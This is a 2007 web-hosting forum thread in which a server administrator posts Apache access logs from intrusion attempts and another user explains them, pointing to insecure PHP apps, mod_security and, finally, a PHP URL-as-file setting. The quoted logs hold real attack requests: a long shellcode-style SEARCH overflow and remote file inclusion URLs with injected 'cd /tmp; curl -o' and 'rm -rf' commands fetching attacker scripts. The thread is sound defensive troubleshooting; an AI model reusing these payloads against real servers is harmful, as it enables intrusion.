More questions on hackers

10 posts / 0 new

Topic locked

#1 Wed, 11/07/2007 - 04:50

DanLong

More questions on hackers

I've since applied Leifs firewall rules on posts 22 and 21 but I need some advice on log activity entries related to brute force breakin.

Could someone explain this entry, it's obviously the hacker, as I don't htink IP tables will address it:

"Nov 6 06:32:31 a100 /usr/sbin/httpd: gethostby*.getanswer: asked for "gawain.soc.staffs.ac.uk IN A", got type "39" "

I saw a number of these sandwiched in the annoying:

"Nov 7 07:55:22 ns1 userhelper[3190]: pam_timestamp: updated timestamp file `/var/run/sudo/root/unknown' Nov 7 07:55:22 ns1 userhelper[3191]: running '/usr/sbin/up2date -l --showall' with root privileges on behalf of 'root' "

and:

" Nov 7 08:30:04 a100 su(pam_unix)[5148]: session opened for user postgres by (uid=0) Nov 7 08:30:04 a100 su(pam_unix)[5148]: session closed for user postgres "

every 5 minutes.

I've seen this stuff where the hackers came in and established httpd services off server by way of IRC connection. We don't have IRC services and we're back, I think, dealing with PHP scripting. They are particularly prone to this box.

Any security savy takers.

Thanks, Dan

#2 Wed, 11/07/2007 - 09:19

Joe

The up2date message is the standard system updates check (rhnsd, I think).

The postgres message is the Webmin status check.

Both are entirely innocent.

The name lookup failure, I'm not sure about. I don't know that it's "obviously" the hacker. Name lookup failures can be innocuous. ;-)

But, if I recall correctly, the problems you were having were with insecure PHP applications. The solution is to shut down those applications until you've gotten them upgraded to secure versions...since they weren't installed or configured via Virtualmin, it can't help much in that regard.

Check out the forum guidelines!

#3 Sun, 06/07/2009 - 07:16 (Reply to #2)

DanLong

Hey Joe,

Thanks for the response.

I guess what I was hoping for was a little PHP security help. Even if I fixed the websites, there's currently nothing to stop a hacker from subscribing for hosting and putting their own website on.

I think I've isolated the site, probably more of them though, due to a common programmer, but I'm not PHP savvy. What do I need to do to lock this activity out?

In the access logs I find:

**209.206.169.224 - - [29/Oct/2007:03:30:58 -0500] "SEARCH /\x90\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9 ... insert thousands more here...." 414 330 "-" "-"

and then later:

209.206.169.193 - - [31/Oct/2007:16:12:42 -0500] "SEARCH /\x90\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9.. insert thousands more.. \x90" 414 330 "-" "-"
159.148.97.48 - - [01/Nov/2007:01:56:48 -0500] "CONNECT 195.175.37.70:8080 HTTP/1.0" 405 313 "-" "-"
159.148.97.48 - - [01/Nov/2007:01:56:48 -0500] "CONNECT 159.148.96.222:80 HTTP/1.0" 405 312 "-" "-"
159.148.97.48 - - [01/Nov/2007:01:56:49 -0500] "GET http://www.hi.lv:80/counter1.php HTTP/1.0" 404 283 "-" "-"
159.148.97.48 - - [01/Nov/2007:01:56:49 -0500] "GET http://www.hi.lv:80/counter1.php HTTP/1.0" 404 283 "-" "-"

and again:

209.206.169.215 - - [02/Nov/2007:17:28:39 -0500] "GET / HTTP/1.0" 200 8464 "-" "-"
209.206.169.215 - - [02/Nov/2007:17:28:42 -0500] "SEARCH /\x90\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9\xc9.. thousands more...\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 414 330 "-" "-"
219.94.169.15 - - [02/Nov/2007:20:19:16 -0500] "GET /a1b2c3d4e5f6g7h8i9/nonexistentfile.php HTTP/1.0" 404 316 "-" "-"
219.94.169.15 - - [02/Nov/2007:20:19:16 -0500] "GET /adxmlrpc.php HTTP/1.0" 404 290 "-" "-"
219.94.169.15 - - [02/Nov/2007:20:19:17 -0500] "GET /adserver/adxmlrpc.php HTTP/1.0" 404 299 "-" "-"

thanks for any help,
Dan

#4 Thu, 11/08/2007 - 06:31 (Reply to #3)

DanLong

#5 Sun, 06/07/2009 - 07:16 (Reply to #4)

DanLong

Hey Joe,

Thanks for the response.

I guess what I was hoping for was a little PHP security help. Even if I fixed the websites, there's currently nothing to stop a hacker from subscribing for hosting and putting their own website on.

I think I've isolated the site, probably more of them though, due to a common programmer, but I'm not PHP savvy. What do I need to do to lock this activity out?

In the access logs I find:

and then later:

and again:

thanks for any help,
Dan

#6 Thu, 11/08/2007 - 14:43 (Reply to #5)

DanLong

Hi Joe,

We're running CentOS 4.5 only modified by VM so whatever the normal apps are. Haven't added or subtracted anything yet. I'm at a loss to figure out what gives. THese are definately hacks though. I just knocked off 4 processes called httpd-DSSL owned by apache. THis is the favorite setting up anything from IRC to file servers to spam floods. THis AM I found 17 processes called "./a" which I found was a script in a tar called si.tar that was downloaded through a GET command I guess from a website I can send you that.

213.22.64.191 - - [07/Nov/2007:12:00:00 -0600] "GET /index.php?url=http://www.neoncomanda.kit.net/tool25.dat?&cmd=cd%20/tmp;rm%20-rf%20... HTTP/1.1" 200 43823 "-" "Mozilla/3.0 (compatible; Indy Library)"

tons more like it where that came from. Are there at least some PHP.ini settings I can lock it down more or will a CentOS 5 upgrade be better? This is keeping 10 servers from going into service. ( that and getting sendmail to do smtp auth)

thanks,
Dan

#7 Tue, 11/13/2007 - 05:42 (Reply to #6)

DanLong

An Update,

Now that the brute force attacks are eliminated I can focus in this, I've disabled the websites and fortunately apache keeps logging the access attempts. Now I can see what's going on, at least, without an actual break-in. Still not sure what the exploit is that's being used, well actually, probably a number of them.

#8 Mon, 11/19/2007 - 08:10 (Reply to #7)

DanLong

Sorry about the double post. In IE, if you take too long then post it will claim an error would like to retry, that makes for a double post.<br><br>Post edited by: DanLong, at: 2007/11/19 08:13

#9 Mon, 11/19/2007 - 08:10 (Reply to #8)

DanLong

Finally got this solved, I hope. For the innocent ( myself included) I was surprised. While scouring the PHP.ini file ( almost like a blind man reading a text file) I noticed the allow URLs to open as files set to yes. Well that answered how these guys were executing as user Apache all the time. I closed that door and they haven't been in. Although, one server is being constantly hammered by these guys masquerading as a google bot

66.249.72.105 - - [19/Nov/2007:11:08:15 -0600] "GET /index.php?page=author&author_name=Doug%20Bower HTTP/1.1" 200 30560 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.72.105 - - [19/Nov/2007:11:11:40 -0600] "GET /index.php?page=author&author_name=Paul%20Seward HTTP/1.1" 200 26103 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.72.105 - - [19/Nov/2007:11:15:05 -0600] "GET /index.php?page=author&author_name=Josh%20Bunton HTTP/1.1" 200 26073 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
189.15.94.109 - - [19/Nov/2007:11:18:13 -0600] "GET /index.php?page=http://psxlinks.kit.net/xkn/xkn2cmd2.txt?&cmd=cd%20/tmp;curl%20-o%20... HTTP/1.1" 200 22363 "-" "Mozilla/3.0 (compatible; Indy Library)"
189.15.94.109 - - [19/Nov/2007:11:18:20 -0600] "GET /index.php?page=http://psxlinks.kit.net/xkn/xkn2cmd2.txt?&cmd=cd%20/tmp;curl%20-o%20... HTTP/1.1" 200 22363 "-" "Mozilla/3.0 (compatible; Indy Library)"
66.249.72.105 - - [19/Nov/2007:11:18:29 -0600] "GET /index.php?page=author&author_name=Jean%20Fritz HTTP/1.1" 200 36201 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
189.15.94.109 - - [19/Nov/2007:11:21:21 -0600] "GET /index.php?page=http://psxlinks.kit.net/xkn/xkn2cmd2.txt?&cmd=cd%20/tmp;curl%20-o%20... HTTP/1.1" 200 22363 "-" "Mozilla/3.0 (compatible; Indy Library)"
66.249.72.105 - - [19/Nov/2007:11:21:55 -0600] "GET /index.php?page=author&author_name=Ken%20Slater HTTP/1.1" 200 27168 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

Apparently, whoever sold this website hid coding somewhere in the database of thousands of articles(Google doesn't sit on one site all day long). Or maybe not ;-) whatever, these connection attempts are particularly drawn to this website (I believe the others were mapped by this action) as the activity to the other websites stopped once we disabled URLs as files.

#10 Thu, 11/08/2007 - 12:53

Joe

<div class='quote'>Even if I fixed the websites, there's currently nothing to stop a hacker from subscribing for hosting and putting their own website on.</div>

There's nothing you can do about that, except keep an eye on your users, and shut them down if they cause trouble. You can also forward their information to the appropriate authorities (but be careful with that--it sounds like you've got a bit of an itchy trigger finger on what is hacker behavior, right now). But, since customers have to give you real identifying information, they're unlikely to cause trouble. It doesn't make sense to do illegal things in a way that exposes your identity.

<div class='quote'>In the access logs I find:

**209.206.169.224 - - [29/Oct/2007:03:30:58 -0500] "SEARCH /x90xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9 xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9xc9x c9xc9xc9xc9 ... insert thousands more here...." 414 330 "-" "-"

and then later:</div>

Yes, this is someone trying a stack overflow. Shouldn't be a problem, as long as you're running the latest Apache and PHP package. But the way the applications behave can be a real problem. There is no real solution to PHP application security bugs except to fix the applications. I dunno what apps you're running or what bugs they might have.

mod_security is capable of preventing some types of attacks, including some classes of SQL injection and other common PHP security holes (of which there are a lot--PHP programmers often don't have a lot of experience and make pretty serious mistakes on a pretty regular basis). It may be worth installing, if you're going to run applications that have very poor security history (as the ones you're running seem to have).

There is no silver bullet. The answer is to run historically secure applications, watch the logs for suspicious behavior, and don't let untrusted anonymous users login to your system (i.e. if you don't have a name, address, valid credit card, etc. for a customer, don't let them run scripts!).

Check out the forum guidelines!

Topic locked